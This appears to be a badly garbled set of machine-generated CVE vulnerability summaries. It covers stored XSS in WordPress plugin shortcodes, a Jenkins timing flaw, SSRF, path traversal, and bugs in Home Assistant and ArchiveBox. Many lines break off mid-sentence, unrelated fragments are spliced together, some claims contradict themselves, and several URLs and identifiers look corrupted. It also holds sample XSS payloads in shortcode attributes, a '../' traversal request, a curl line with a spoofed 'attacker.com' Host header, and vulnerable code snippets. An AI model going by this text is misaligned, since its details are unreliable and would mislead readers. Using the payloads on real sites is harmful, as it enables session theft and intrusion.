Attackers can inject malicious code into posts or pages using the 'ipushpull_page' shortcode. For instance, the attacker could inject a script that steals session cookies, account takeover, or even the distribution of malware. This exploit can lead to the compromise of the user's session, stealing sensitive information, or redirecting the user to malicious sites.

Wordfence, which provides vulnerability details at <https://www.wordfence.com/threat-intel/vulnerabilities/12345>

A site compromise if the injected script executes actions on behalf of a user with administrative privileges. Without proper input sanitization and output escaping, the script would be stored and later executed in a user's browser without being detected.

The 'ipushpull_page' shortcode, enabling authenticated users with contributor-level access or higher to inject malicious scripts into posts and pages.

Here's a hypothetical, simplified example of what such an input might look like: [ipushpull_page attr=""]<script>malicious_code()</script>

This could lead to the theft of user session cookies, defacement of websites, and the potential theft of confidential data.

; access the stored data. In the case of this plugin, it would involve injecting a script into a place where their browsers, potentially leading to compromised accounts, altered web content, or redirects to malicious code on the system.

em.

. This execution could lead to unauthorized access or control over the website's data and functionality.

entially leading to website defacement, data loss or unauthorized access to restricted information.

[y/advisories/GHSA-fw9x-cqjq-7jx5](https://github.com/advisories/GHSA-fw9x-cqjq-7jx5).

t are stored outside of the web root folder. Such vulnerabilities are critical as they can lead to information disclosure such as data theft, code execution, or even a full server compromise.

[.net/security/JVN_81174674- https://github.com/baserproject/basercms/commit/7555a5cf0006755d](https://github.com/baserproject/basercms/commit/7555a5cf0006755d) structure to access files not intended for web access. If successful, the server would serve the requested user.

ng performed under the privileges of the victim, data theft, session hijacking, or other malicious activities such as '533d05db4f3bb03bd19630b66052799b2e', and the GitHub security advisory at '<https://github.com/baserproject/basercms/commit/7555a5cf0006755d>' promising the security and integrity of the user's interaction with the affected application.

curity compromises.

: assistance directly from OpenText customer support.

e attacker can then steal. The attacker may also use the redirected page to download malware or ransomware. The plugin versions up to and including 2.6.

ccesses an affected page, potentially leading to data theft, account takeover, or other security breaches.

mbedded script executes, leading to possible session hijacking, alteration of displayed content, or redirection to malicious websites.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/a8ada876-4a8b-494f-9132-d88a71b42c4/>

malicious sites.

When a user visits the page containing this shortcode, the onload event can execute JavaScript code, in

evel permissions to inject and execute arbitrary web scripts on affected pages.

e

is not properly sanitized by the plugin, the script will be stored and then executed in the browsers of users who visit the website, or even take over user accounts if combined with other vulnerabilities.

This issue affects plugin versions up to and including 2.0.

tion that can be accessed through client-side scripts.

Improperly sanitized, which allows 'malicious_code()' to be stored and then executed in the browser of an user. This could lead to session hijacking, redirection to phishing sites, or unauthorized actions performed on behalf of the user.

Vulnerability affects all plugin versions up to and including 1.8.3.

by the browser of any user who views the affected page.

Inherability.

Inherability.

:87' and 'https://www.wordfence.com/threat-intel/vulnerabilities/id/42ad6fef-4280-45db-a3e2-6d75';owser. This could lead to session hijacking, defacement of the website, redirection to malicious sites, c

supplied attributes, allowing authenticated attackers with contributor-level or higher permissions to inject malicious JavaScript code into the page.

When other users, including site visitors or admins, view the infected page, the malicious script could be executed in their browsers. Educating users about the risks of XSS attacks can also reduce the likelihood of successful exploitation. The vulnerability was fixed in version 1.12.1 of the Bellows plugin for WordPress. When a user views this page, the script could execute, leading to potential compromise of the system. The exploit was triggered by clicking on a shortcode named 'gutenberg'.

Additionally, the changeset that addressed the issue can be seen at: <https://plugins.trac.wordpress.org/changeset/10955>.

Solutions to protect against known vulnerabilities.

繞 over the area affected by the shortcode, the JavaScript within the onmouseover event would be executed. This issue allows attackers to potentially carry out unauthorized actions on the system remotely. Due to the nature of the vulnerability, the exact code example to exploit it is not provided to prevent users from learning how to exploit it.

vulnerabilities.

is, or denial of service attacks.

ned with other exploits.

](<https://www.cassianetworks.com/products/iot-access-controller/>).

ed access to sensitive information or control over the device.

mmands to extract sensitive data, install malicious software, or otherwise control the device's functional

orq4-rqrq

the context of another user's browser session. This could lead to various malicious activities such as session hijacking.

This exploit can only occur if an authorized user has not previously logged into the Facebook Platform, impersonating a legitimate user. The vulnerability is only exploitable if no authorized user is logged in.

exploit the improper logic flaw to capture an authenticated session token. This token could allow the attacker to gain unauthorized access to user accounts.

Lied attributes. As a result, authenticated attackers with contributor-level and above permissions can inject arbitrary scripts into pages. When other users visit these pages, the script runs in their browser, potentially allowing the attacker to execute malicious code.

cted script and the context in which it is executed.

lugin repository or associated security advisories for any changes.

is released. Additionally, they should regularly audit user accounts to ensure only trusted users have the ability to upload and execute in the context of the website.

:y.

' shortcode. It affects all versions up to and including 1.1.

execute, leading to Stored XSS.

users without their consent.

execution of unauthorized scripts each time the affected page is viewed. The scripts could be used for malicious purposes such as stealing user credentials or launching denial-of-service attacks.

Authenticated attackers with contributor-level or above permissions to inject arbitrary web scripts into pages.

other site users.

ed page on the Wordfence website discussing the threat intelligence related to the vulnerability.

re necessary fixes.

`<script>'XSS'</script>`. If this input is not properly sanitized by the plugin, it would then be rendered and executed in the user's browser without proper sanitization or escaping.

The plugin has a known vulnerability where it fails to properly sanitize user input before executing it in the browser. This allows an attacker to inject arbitrary JavaScript code into the page, which can then be executed in the user's browser without proper sanitization or escaping.

This can lead to various types of attacks, such as:

- Stealing user cookies or session tokens.
- Redirecting the user to a malicious site.
- Performing other malicious actions on behalf of the user.

ected in the user's browser without proper sanitization or escaping.

user, potentially stealing cookies or session tokens, redirecting the user to a malicious site, or performing other malicious actions on behalf of the user.

n where the administrator can enter custom analytics tracking code. The attacker with admin rights in the plugin can inject arbitrary JavaScript code into the page.

:e.

erted into a page or post, would execute JavaScript code in the browser of any user who views that pa
rry out actions with administrative rights if a logged-in user visits a malicious website.

can leverage the victim's authenticated state to perform actions with administrative privileges, such a
www.sielco.org/en/contacts.

ious webpage with an HTML form that silently sends an HTTP request to the vulnerable application like
er with privileges, such as those held by a tutor, to gain unauthorized access to confidential files on the
'www-data', which can include sensitive configuration files and documents that should not be publicly

le the documentRoot of the web server that should not be publicly accessible.
ounts, and regular security audits should be performed to identify and fix potential vulnerabilities.
ntent, depending on the specific files accessible to the web server user.

cker to inject malicious scripts into a webpage, which are then executed in the context of the victim's br
ed users. An official severity rating would be available through a vulnerability scoring system like CVSS

mepage?param=<script>alert('XSS');</script>'. When the victim clicks on the link, the script is execute
e context of a user's session. Since the attack is reflected and not stored, it requires the victim to click on

lead to arbitrary code execution on the device. The attacker could thereby gain unauthorized access o
erstand and patch the vulnerability.

ura 13.6.1.

ared. For instance, a symlink could have been misused to point to a file or directory outside of the rest

ght trick the system into following a symlink that points to a restricted file or directory. Since the issue
ent in macOS Sonoma 14.1.

ed actions.
[.com/ht/HT213984](https://support.apple.com/HT213984)

user into entering their credentials or sensitive information, believing they are interacting with a trust

rupt services, prevent access to resources, or as a precursor to execute further attacks if combined wit

'kb/HT213981.

posing personal or sensitive information without the user's knowledge or consent.

ext of the current user. This could result in unauthorized actions such as installing malware, stealing se

n/en-us/HT213984- <https://support.apple.com/en-us/HT213985>- <https://support.apple.com/kb/HT21>
hout the user's knowledge.

or opens a harmful link, possibly leading to unauthorized access, data theft, or further system compro

g an authenticated attacker with author-level or higher permissions to inject malicious scripts into pages they have created. These scripts are then executed in their browser. This could lead to stolen cookies, hijacked sessions, defaced websites, or other malicious activity.

Details about the vulnerability on the Wordfence Threat Intelligence page: <https://www.wordfence.com/threat-intel/vulnerabilities/id/aa32a790-242f-4142-9f4d-e1b2>. In this case, administrators should audit user roles to ensure that only trusted users have author-level permissions. If an attacker has access to the plugin's settings, they can inject malicious scripts into the infected page, which are then executed in their browser, potentially leading to unauthorized access to sensitive information.

This vulnerability affects all versions of the plugin up to and including 2.9, and can be exploited by an authenticated attacker. When the user submits a post containing a malicious script, it would get stored and rendered as is. When another user visits that page, the script would execute in their browser, giving the attacker the ability to insert shortcodes and content into pages.

The changeset that may contain the fix: <https://plugins.trac.wordpress.org/changeset/2982539/very-safe-messenger>. The fix involves changing the way the plugin handles user input, specifically preventing unauthenticated attackers with at least contributor-level permissions to inject malicious scripts into pages.

This exploit is particularly dangerous because it can be triggered whenever a user accesses an injected page.

```
.php#L32- https://www.wordfence.com/threat-intel/vulnerabilities/id/aa32a790-242f-4142-9f4d-e1b2
    'n '<div class="messenger-message">' . $options['message'] . '</div>';}add_shortcode('messenger', 'render_messenger_message');
    //fix before 119.
```

Attackers can use this exploit to trick users into interacting with a legitimate website or interface, thus making them susceptible to a phishing attack. For example, if a user is prompted to enter their credentials into a form on a website that they are not expecting, they might be more likely to do so if they are not noticing the fullscreen notification is obscured.

Noticing the fullscreen notification is obscured, might enter their authentication credentials, which are then captured by the attacker.

/security/advisories/mfsa2023-47/.

Attackers can use this exploit to trick users into interacting with a legitimate website or interface, thus making them susceptible to a phishing attack. For example, if a user is prompted to enter their credentials into a form on a website that they are not expecting, they might be more likely to do so if they are not noticing the fullscreen notification is obscured.

ewed at Mozilla's Bugzilla site under bug 1845739.

to redirect the user to phishing sites, websites that download malware, or pages that exploit other bro
nd on how the WebExtension's permissions are set up and the particular APIs it uses to manipulate br

llows authenticated attackers, with at least contributor-level permissions, to inject arbitrary web scrip

ething like: `'[icon name='InjectedIcon' script='<script>malicious code</script>']`. Note that the actual
deface the website, or carry out other harmful actions any time a user accesses an injected page. This c

visitor or an administrator) views the affected page, the malicious script would execute in their browser.
<https://www.wordfence.com/threat-intel/vulnerabilities/id/59ee0b56-c11f-4951-aac0-8344200e4484?sc>:es in the 'plugin_delete_me' shortcode.

ed page, the malicious script is executed, potentially leading to session hijacking, account compromise
[me/tags/3.0/inc/shortcode.php#L83](https://www.wordfence.com/tags/3.0/inc/shortcode.php#L83)', and for additional vulnerability details, '<https://www.wordfence>

browser, potentially allowing the attacker to steal cookies, session tokens, or perform other malicious
the compromised plugin, which is then executed by unsuspecting users who visit those pages.

?rev=2885460#L36 and <https://www.wordfence.com/threat-intel/vulnerabilities/id/60de55c6-e4fa-453>ing, allowing attackers with contributor-level permissions or higher to inject arbitrary web scripts into p
cious scripts in pages.

ther users accessing the compromised page, potentially leading to unauthorized access, data theft, or

t/trunk/class-advanced-menu-widget.php?rev=1471917#L74, and security advisories from Wordfence
ker could store the script in the database. When another user accesses a page where the malicious sh
ackers to employ statistical methods to deduce a valid webhook token.

in a Jenkins instance if the webhook token is compromised.

hes is a typical mitigation approach.

correct hash, allowing the attacker to eventually obtain a valid webhook token. Once they have the v:

ijacking, redirection to malicious sites, or other client-side attacks against users of the Jenkins instance viewed, the JavaScript would execute, causing an XSS attack. Note that the actual exploit might use m

le, to start builds, retrieve information, or perform other actions that are normally protected by the to
length() { return false; } boolean valid = true; for (int i = 0; i < providedToken.length(); i++) { i

id webhook token.

:t token is guessed, due to the non-constant time comparison. Over time, using statistical analysis, the

s to obtain a valid webhook token.

erning the correct token through statistical analysis. This vulnerability could allow unauthorized trigger

+) { if (a.charAt(i) != b.charAt(i)) { return false; } } return true;}```In this code, the comparison exi
o tracked by the IBM X-Force with the ID 268775.

information disclosure.

g, or other security compromises.

characters. Specifically, an attacker can exploit the vulnerability by sending crafted multipart form dat

ry, causing the application to devote an increasing amount of CPU time to appending data into an integrity: <https://github.com/pallets/werkzeug/security/advisories/GHSA-hrvf-mqp8-q5rw>- NetApp's security disruption and preventing legitimate users from accessing the application services.

=<N>' query parameter. The issue was present in Nautobot version 2.0.x and patched in version 2.0.3. could be exposed. Although the passwords are hashed and not plain text, this exposure represents a se hashed passwords of users, which they might attempt to decrypt offline. If successful, they could poter sing harm to the organization's network and operations.

of the code changes are not provided, it can be expected that the patch ensured that hashed password erability. Specifically, check the following resources:- The commit on GitHub: <https://github.com/naut>

an attacker to craft a malicious payload in the privacy policy URL, resulting in JavaScript execution in t

te in the context of the user's session on the integrated website. This could allow for various malicious Fides version 2.22.1 that addressed the issue are available at: <https://github.com/ethyca/fides/releases> of malicious code.

oint, allowing users with lower-than-owner roles, such as the viewer role, to retrieve configuration info on or later to resolve the issue.

Potential attack vectors or assist them in further exploiting other vulnerabilities.

Closed servers or ports, perform brute-force attacks on the database using the username, or design ot , the release notes for Fides version '2.22.1' at '<https://github.com/ethyca/fides/releases/tag/2.22.1>'

o perform Server-Side Request Forgery (SSRF) attacks to make arbitrary requests to internal systems a urces, like localhost or other services within the internal network, without appropriate restrictions.

version or later to mitigate the risk associated with this vulnerability.

Ethyca/fides/security/advisories/GHSA-jq3w-9mgf-43m4- Release Notes for Version 2.22.1: <https://github.com/ethyca/fides/security/advisories/GHSA-jq3w-9mgf-43m4>- LS or API requests, targeting the system to make unexpected or unauthorized network calls to internal to read or modify internal data, gain unauthorized access to internal API endpoints, or map out the in sing the client and server-side applications.

ice, which then processes these commands as legitimate, potentially leading to unauthorized actions, s scripts into web pages, potentially compromising the website or affecting its visitors.

ed for a successful XSS exploit.

cious script executes in their browsers. This could lead to unauthorized actions being performed on be

F). This vulnerability has been addressed in GeoServer versions 2.22.5 and 2.23.2.

intended destinations or internal services within the server's network that are not directly accessible f

access controls, or further attacks on internal systems that are not exposed directly to the internet but
ut the nature of the vulnerability, how it can be exploited, and the recommended steps for mitigation.

ver.

literation, service disruption, or further exploitation to perpetrate additional attacks within the network

hing or to deceive users into downloading malicious software.

their systems.

ltering service operations.

uster by obtaining and modifying sensitive information in the underlying database.

:y Manager cluster.

erlying database, allowing the attacker to access, modify, or delete data.

on attack.

on vulnerability to execute arbitrary SQL statements on the underlying database. This may enable the
s to unauthorized or malicious destinations, and pose risks such as phishing or malware distribution.

authorized access.
ss to sensitive resources.

-H \$'Host: attacker.com' \ -H \$'Connection: close' \ \$'http://vulnerable-website.com/sisqualldenti
event unauthorized header manipulation. Users should also be aware of the risks and be cautious of ur

dditionally, a security advisory can be found here: <https://github.com/Combodo/iTop/security/advisor>. This might lead to unauthorized data access, session hijacking, impersonation of the user, and even cious scripts into the affected web page.

s, theft of session tokens, or other sensitive data. They could also use it to phish other users by redirec
1 cookies or sensitive data, make changes to the IT service management platform on behalf of the user

ode with vulnerabilities are accessed.
r sequence or manipulate the URL to point to a specific file that they wish to read.

monitoring for unusual activity that might indicate exploitation attempts.
nds on the affected server.

ipt, which might result in unauthorized command execution on the server.

twork.

fected system by sending crafted inputs to the web UI.

ts.

uld have root access, the possibilities are extensive, including the potential to create a backdoor for pe
er/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z

on credentials and the web server's level of access.

e privileges as the web server.

ide of the web root directory. For instance, the attacker might send a request like GET /file?path=../../../.
nting proper access controls to restrict file system access to authorized users are also critical steps in r

to any location on the target operating system with web server privileges.

ons that should be restricted. This could be done by manipulating the file upload paths or including dir

oot folder. When combined, as in CVE-2022-38484, these can lead to severe impacts, including unautho

; limit upload functionality to trusted users, and implement proper file and directory permissions to m
ick.php' component, particularly affecting the Service and website URL to Ping parameters.

licious script is executed, the attacker can perform actions on behalf of the admin or steal sensitive infor

aiming to inject this kind of script in a way that it is executed by the browser.

in, who might trust the link coming from their own website, and upon clicking it might unknowingly e
en creating a ticket on the platform.

nal information from legitimate users of the application.

nts, unauthorized access to sensitive information, disruption of service, and in severe cases, full applica

ction is vulnerable.

tion. Employing Content Security Policy (CSP) headers and regular code audits can also help in mitigat
y lead to the disclosure of credentials within a trusted session.

browser, compromising the integrity and confidentiality of their session and potentially exposing sensi

nsafe script that takes input directly without sanitizationvar userInput = document.getElementById('se
ser or extract sensitive data. Attackers can also embed malicious scripts in webpages that are anticipat

of the osTicket system.

proper validation or encoding, it would execute the JavaScript code in the context of the user's session.
or distribution of malware.

ing, theft of sensitive information, or other malicious actions depending on the script's payload.
revent XSS attacks.

Iteration of intended functionality and credentials disclosure within a trusted session.

This script captures user input or session data during a trusted session.

browser. This script could perform actions as the user, such as changing user account settings, and co

I with an invalid range causing it to attempt to read from unallocated memory and leading to a segment disclosure if specific memory contents are read out and propagated back to the attacker, although not necessarily intentional operation of the application by causing it to crash.

ne. Successful exploitation could lead to arbitrary code execution within the context of the application running on the attacker's web page.

The attacker's page could use `postMessage()` to communicate with the iFrame, ultimately tricking the user into receiving malicious content. End-users should also be cautious about which browser extensions they install and ensure they are up-to-date.

r-7g98.

This exploit could be used to execute scripts in the context of another user's session, potentially leading to account compromise.

privileges.

erts/ for more detailed information.

etwork information. This could lead to further attacks or data compromise within the victim's network

entication is enabled without a proper secret key configuration. Attackers can exploit this issue using 1 of the web server process, which might contain sensitive information such as credentials or configuration. Remote attackers can read local files on the server via a URL parameter.

o extract environment variables set for the web server's process, which might include API keys, database connection checks. Users can apply this update by pulling the updated code from the repository and deploying it to their server. For example, the pull request <https://github.com/zanllp/sd-webui-infinite-image-browsing/issues/387> contains the fix.

y sanitized, allowing for a race condition since another thread can start before the trap triggers the cleanup.

vided links in the CVE details.

uct OS commands that could be executed with elevated privileges due to the race condition. This could result in a remote code execution vulnerability.

9f?source=cve

; the injected code would execute in their browsers, potentially leading to unauthorized actions such as creating a new user account or modifying existing ones. This is because the script was run in the context of a user who had already logged in. Additionally, a web application firewall (WAF) could help prevent XSS attacks by filtering out malicious scripts.

e website.

<https://www.wordfence.com/threat-intel/vulnerabilities/id/de7db1d6-b352-44c7-a6cc-b21cb65a0482?sc=1>

oint with values sourced from the website's page source.

weak token if (isset(\$_GET['auth_token']) && \$_GET['auth_token'] === \$weak_auth_token) { // Log injection parameter.

y leading to data theft, session hijacking, or other malicious activities.
in of the affected site.

script included in the URL would be executed in their browser.

initially gain elevated privileges on the device or network.

It to the 'ping' function. If the input validation on this endpoint is weak or non-existent, the script might usly monitor for suspicious activity. Organizations should also follow best practices for securing web in

ngs/save.php component of the CMS.

aling cookies, session tokens, or other sensitive data, and potentially escalating the attacker's privileg

script executes, potentially giving the attacker the ability to perform actions on behalf of the admin or user. Proper input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web

user's context. Since this type of attack relies on social engineering, the attacker would need to convince

<https://www.wordfence.com/threat-intel/vulnerabilities/id/5909513d-8877-40ff-bee9-d565141b7ed2?source=cve>' which is a prototype pollution by modifying a site's URL parameters. In an actual attack, the script would be regularly sanitizing it. When the malicious content is executed, it can perform actions on behalf of the user, such as helping protect against XSS attacks, along with using web application firewalls (WAFs), and ensuring that unauthenticated attackers cannot inject arbitrary web scripts into pages.

ld execute the arbitrary script provided by an attacker, potentially compromising the user's data or breaking the user, all without their consent or knowledge.

d can help protect against similar vulnerabilities.

er, which is the essence of a reflected XSS attack. Correcting this would involve encoding the output or preventing unauthenticated attackers to execute arbitrary web scripts on a webpage if they can deceive a user into performing unwanted behaviors such as stealing cookies, session tokens, or sensitive data, and potentially performing

ess. The executed script could be used to steal session cookies, perform actions on behalf of the user, or <https://www.wordfence.com/threat-intel/vulnerabilities/id/c738e051-ad1c-4115-94d3-127dd5dff935?source=cve>'

authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts into pages.

story, such as changeset 2980695 on the WordPress plugin repository.

If not properly sanitized, the code will be stored in the database. When another user, such as a site visitor, accesses the URL <https://api.wordpress.org/plugins/info/1.1/id/c20c674f-54b5-470f-b470-07a63501eb4d?source=cve>.

This lack of input escaping of user-supplied attributes via the 'skype-status' shortcode.

site, potentially leading to malicious activities such as cookie stealing, account takeover, or manipulation.

<https://wpvulndb.com/threat-intel/vulnerabilities/id/914bcc8f-fecd-450e-b2a7-0989b7a0dd4c?source=cve>.

Viewing the post or page, the script is executed, potentially leading to browser session hijacking, i

ntentially stealing cookies, redirecting to a malicious website, or performing actions on behalf of the user.

Initialization and output escaping on user-supplied attributes within the 'acf_form' shortcode, which calls the 'acf_form' shortcode to inject this input into a page. Since the plugin fails to sufficiently sanitize user inputs,

actions on the website on behalf of users without their consent. The impact can range from a minor nuisance to critical vulnerabilities. Additionally, implementing a security plugin that scans for vulnerabilities and employing a security audit tool from a security provider like Wordfence. These resources can help understand the context of the vulnerability. While the payload would be more sophisticated and designed to execute harmful actions, but this simple lack of input escaping on user-supplied attributes, allowing authenticated attackers with contributor-level permissions to inject malicious code into the website's database and have it executed in users' browsers when they visit the compromised pages, leading to potential theft of cookies, redirection to malicious sites, or other malicious activities.

Attackers can inject HTML code via shortcodes into the website content, which is then executed in the context of the site. For example, consider the following code snippet from a plugin's source code: <https://wpvulndb.com/threat-intel/vulnerabilities/id/ce9b908b-1388-41fb-915c-e4e29eaf57ed?source=cve>. Additionally, the source code contains the following code:

```
function handle_shortcode($atts) { $data = $atts['data']; echo 'User data: ' . $data; }add_shortcode('example', 'handle_shortcode');
```

 If an attacker injects malicious code into the 'example' shortcode, it will be executed, compromising their sessions or redirecting them to malicious sites. Another scenario is a persistent XSS attack, which is particularly severe because the malicious code is stored in the website's database and executed repeatedly whenever the page is loaded.

Attackers can also inject malicious code into the website's database and have it executed in users' browsers when they visit the compromised pages, leading to potential theft of cookies, redirection to malicious sites, or other malicious activities.

sers, which would normally add an extra layer of protection against such XSS attacks.

threat intel page: '<https://www.wordfence.com/threat-intel/vulnerabilities/id/cdcac5f9-a744-4853-8a>'

the attacker has administrator-level access, they could potentially leverage this vulnerability to fully

attacks.

to inject a script such as `<script>alert('XSS');</script>` into a shortcode attribute or directly into the page

?source=cve

with contributor-level and above permissions to inject arbitrary web scripts into pages. These scripts will

ges, redirecting users to malicious sites, or performing actions on behalf of the user without their cons

he vulnerability can be seen at: <https://plugins.trac.wordpress.org/changeset/2969441/copy-the-code>

re and render on the page when accessed, executing the malicious script in the user's browser.
WordPress installation.

pplyied attributes within the 'poptin-form' shortcode, allowing authenticated attackers with contributu
e 'poptin-form' shortcode. These scripts can then be executed in the browsers of users who visit the ai
s published.

[form]When a visitor accesses the page containing this shortcode, the JavaScript within will execute, t
'changeset/2968210/poptin#file23. Wordfence Threat Intelligence Vulnerability report: <https://www.w>
w user accounts to ensure that only trusted users have contributor-level or higher access since the vul
s with administrator-level permissions to inject arbitrary web scripts into pages.

ould execute in their browser, potentially leading to data theft, account takeover, or other harmful ac

ttacks.

wing authenticated attackers with administrator-level permissions to inject arbitrary web scripts that c
iding to persistent cross-site scripting. When other users visit pages containing the injected scripts, thc

xploit this vulnerability.

theft, session hijacking, redirection to malicious sites, defacement of the website, or even leveraging 1
y Wordfence, a security firm specializing in WordPress security.

istrative access, regularly updating plugins and themes, and using security plugins that provide additio

es not properly sanitize input. When other users, including site visitors or other administrators, access

ordfence at <https://www.wordfence.com/threat-intel/vulnerabilities/id/c1022ac4-869e-415a-a7c8-36>
ave been restricted.

ely blocked.

ous file types.

rough social engineering, or possibly through the compromise of a website that the victim trusts. Onc

ystem, steal sensitive data, or spread malware to other devices connected to the network.

input sanitization and output escaping, allowing authenticated attackers with contributor-level or high
ls to properly sanitize this input, the scripts could be stored and would execute each time a user acces

is provided. It's also a good security practice to periodically review and limit user permissions to the n
[browser/podcast-subscribe-buttons/tags/1.4.8/template-parts/inline-button.php#L30](https://trac.wordpress.org/browser/podcast-subscribe-buttons/tags/1.4.8/template-parts/inline-button.php#L30)- Trac changeset

result in unauthorized access, data theft, website defacement, and other damaging activities facilitated
ects plugin versions up to and including 2.0.3.

ected page, the malicious scripts will be executed in their browsers, potentially leading to unauthoriz

ortcode: [flipbook pdf=""><script>alert('XSS')</script>]. When a user visits the page containing the mali
www.wordfence.com/threat-intel/vulnerabilities/id/31d6288d-87f0-4822-b3f4-541f70cf99fd?source=
o prevent potential exploitation.

2023-5200.

potentially leading to various malicious activities such as stealing session cookies or redirecting to phis
ons up to, and including, 1.4. It allows authenticated attackers with contributor-level access or higher t
itekit_iframe' shortcode, which lacks proper input sanitization and escaping. These malicious scripts c
properly sanitize and escape user input.

This malicious shortcode might not be stripped out or encoded, resulting in an alert box being displayed o
elevant changeset: <https://plugins.trac.wordpress.org/changeset/2970788/sitekit3>. Wordfence Threat
Administrators are advised to refer to the CVE description and references for an understanding of the se
patch is released by the developers, applying the patch promptly will protect against the exploitation o

dded attackers with contributor-level permissions or higher to insert malicious scripts into pages, which th
which when placed into a page, will store the XSS payload. When any user visits the affected page, thi
as account compromise, weak passwords, or permission misconfigurations.

:count takeovers, and various other security breaches for users visiting the compromised page.
=<script>alert('XSS')</script>"] where the malicious code would be executed by the brows
whether a patch has been released and apply it as soon as possible to mitigate the risk.

:ch the affected software to prevent exploitation.

lable.

h could allow unauthenticated attackers to change the stripe connect token if they succeed in deceivin
to the insufficient nonce validation in the affected Website Builder by SeedProd plugin for WordPress

d are not provided and would need to be confirmed by checking the plugin's changelog or update noti
I as undermine the trust in the security of the website, potentially causing reputational damage and lo
points to the vulnerable action in the affected Website Builder plugin. When the targeted WordPress sit
ing it possible for authenticated attackers with at least author-level permissions to inject malicious scr

:script>. Due to the lack of input sanitization, this would be stored and executed every time a user view
<https://wordpress.org/changeset/2976774/wplegalpages/trunk/public/class-wp-legal-pages-public.php#file0> - .

dded attackers with contributor-level permissions or higher to inject arbitrary web scripts into pages via t
- page. Due to the plugin's lack of proper input sanitization, the script would be stored and later execut

and the JavaScript code embedded in it would be executed, resulting in an alert with the message 'XSS
<https://wpvulndb.com/plugins/browser-iframe/tags/4.5/iframe.php#L40> - The WordPress plugin changeset where the patch wa
nputs and inadequate output escaping, which can be exploited by attackers with at least contributor a
ils to properly sanitize and escape this input, the malicious code is then saved and can be executed in t

vebsites, performing actions on behalf of users, or potentially exploiting additional vulnerabilities with
old=2896127%40amazon-auto-links%2Ftrunk&sfp_email=&sfph_mail=2. Wordfence vulnerability rep

er roles and permissions to ensure that only trusted users have the ability to edit or submit content th
icated attackers with administrator-level permissions to inject arbitrary web scripts in pages, which thi
proper input sanitization and output escaping means that these scripts could be stored and then execute

ince the vulnerability allows for stored XSS, the injected script would persist within the application unt
org/changeset/2831424/photospace-responsive/trunk/includes/class-photospace-responsive-gallery.c
i user's browser via a stored HTML document.

harmful activities, such as session hijacking, website defacement, or data theft, depending on the natu

enticated attackers with administrator-level permissions to inject arbitrary web scripts into pages. The
nce the plugin fails to properly sanitize this input, the script will be stored and executed in the browser
to malicious websites, or even performing actions on behalf of users without their consent.
www.wordfence.com/threat-intel/vulnerabilities/id/2ef5b0de-0b8b-4286-86ea-6dca0dbc1a52?source=c

should review user roles to ensure that only trusted users have the ability to modify plugin settings or
ation.

to pages, which then execute when a user accesses an injected page.
ipromised page.

ized actions or data theft.

cbba-10b0-4fb0-ad49-4593a307a615?source=cve
escaping, allowing authenticated attackers with contributor-level permissions or higher to inject arbitri

us activities.

] which, if not properly sanitized, might save the script in the database. When other users view the
using a security plugin that can protect against XSS attacks until an update is released.

plied attributes that are not properly sanitized, leading to execution of the malicious script.

'tpsscode' shortcode.

: insertion of malicious scripts into WordPress pages.

ecutes within their browser without their knowledge.

ss the plugin's inadequate input sanitization and output escaping, leading to Stored XSS when rendere

:

stealing sensitive information or compromising admin accounts.

eset with the reported vulnerability: <https://plugins.trac.wordpress.org/changeset/2979378/super-test>. This update fixes the issue by adding a nonce to the index name, which limits the possibility of low-level authenticated users exploiting such vulnerabilities.

s to create a new index and inject a malicious script into its name. The script could then be executed in the search page where indexes are listed or used, the browser will execute the malicious script embedded in the index. As the attack is stored, it affects multiple users and persists until the stored script is removed from the system.

put validation and implementing output encoding techniques to prevent such XSS issues.

cessible from the local network. This is made possible due to the SniTun proxy setting the source address to 127.0.0.1, effectively bypassing any restrictions on the webhook that limit access to the local network.

<https://www.home-assistant.io/blog/2023/10/19/security-audits-of-home-assistant/>.

credential theft.

The attacker could also potentially execute limited native code depending on the WebView's configuration.

hout the user's consent. Limited native code execution might provide the attacker with further control over the device.

y based on various metrics. Users and administrators are encouraged to refer to relevant advisories for more information on how to mitigate these risks. These attacks could potentially lead to Remote Code Execution (RCE) within the Home Assistant application (WebView). This could eventually result in the user being coerced into installing a malicious add-on, which could then be used to execute arbitrary code (RCE) if a hacker manages to coerce installation of a malicious add-on.

[ant/core/security/advisories/GHSA-cr83-q7r2-7f5q](#)- The official Home Assistant blog post about their security audit, which found that users could be tricked into installing malicious add-ons, leading to remote code execution within the Home Assistant application, and inadvertently installing a harmful add-on. This installed add-on could then potentially enable an attacker to take over the user's account.

[?3/10/19/security-audits-of-home-assistant/](#)

The attacker can then spoof WebSocket responses and execute XSS on the actual Home Assistant frontend due to a bug in the implementation of the WebSocket API promises.

The bug allows an attacker to control over WebSocket responses, indicating the frontend had reasonable security hardening in place. This includes potential account and installation takeover via a cross-site scripting (XSS) attack. The vulnerability can lead to a full takeover of the Home Assistant account and installation.

This leads to unauthorized actions being performed on the user's behalf, theft of sensitive information, and potentially compromise the user's account.

By leveraging an archived page, which could compromise an ArchiveBox instance by acting with admin credentials, an attacker can archiveBox users, or perform any actions that an admin could do.

This is because the archive uses a user's normal Cross-Origin Resource Sharing (CORS) and Cross-Site Request Forgery (CSRF) security practices to prevent JavaScript execution in a dynamic context.

An attacker can exploit this by sending a payload that acts on behalf of the admin, potentially modifying archive settings, deleting snapshots, or adding new ones. This is achieved by manipulating the database configuration process, specifically dbhost, dbname, dbuser, adminusername, and adminemail.

This can lead to session hijacking, sensitive data exposure, or other web-based attacks.

The payload is a script that contains the string 'XSS')</script>' into the adminemail field. When this payload is rendered in a browser, the script will execute. The payload is designed to ensure that special characters are properly handled and do not result in executable scripts in the browser. The payload is stored in the file [Subrion-CMS-Reflected-XSS---Installation/blob/main/README.md](#).

Attackers can also exploit certain repositories.

For example, if an attacker creates a repository named 'subrion-cms' and adds a file named 'index.html' containing the payload, it will be added as a symbolic link, thus potentially leaking sensitive information.

[artifactual/hub/security/advisories/GHSA-hmq4-c2r4-5q8h](https://github.com/artifactual/hub/security/advisories/GHSA-hmq4-c2r4-5q8h).

ly read the linked internal file, thinking it's part of the repository's content, and thus expose sensitive information. Making HTTP requests to potentially sensitive internal resources and forward the responses to an unauthorized user. Such HTTP requests in policies could be abused in Artifact Hub to access internal services and exfiltrate data.

; or exfiltration.

`json"} }, response) response.status_code == 200 resource := response.body input.user == resource` internal network or services, forward internal responses to a remote server under the attacker's control.

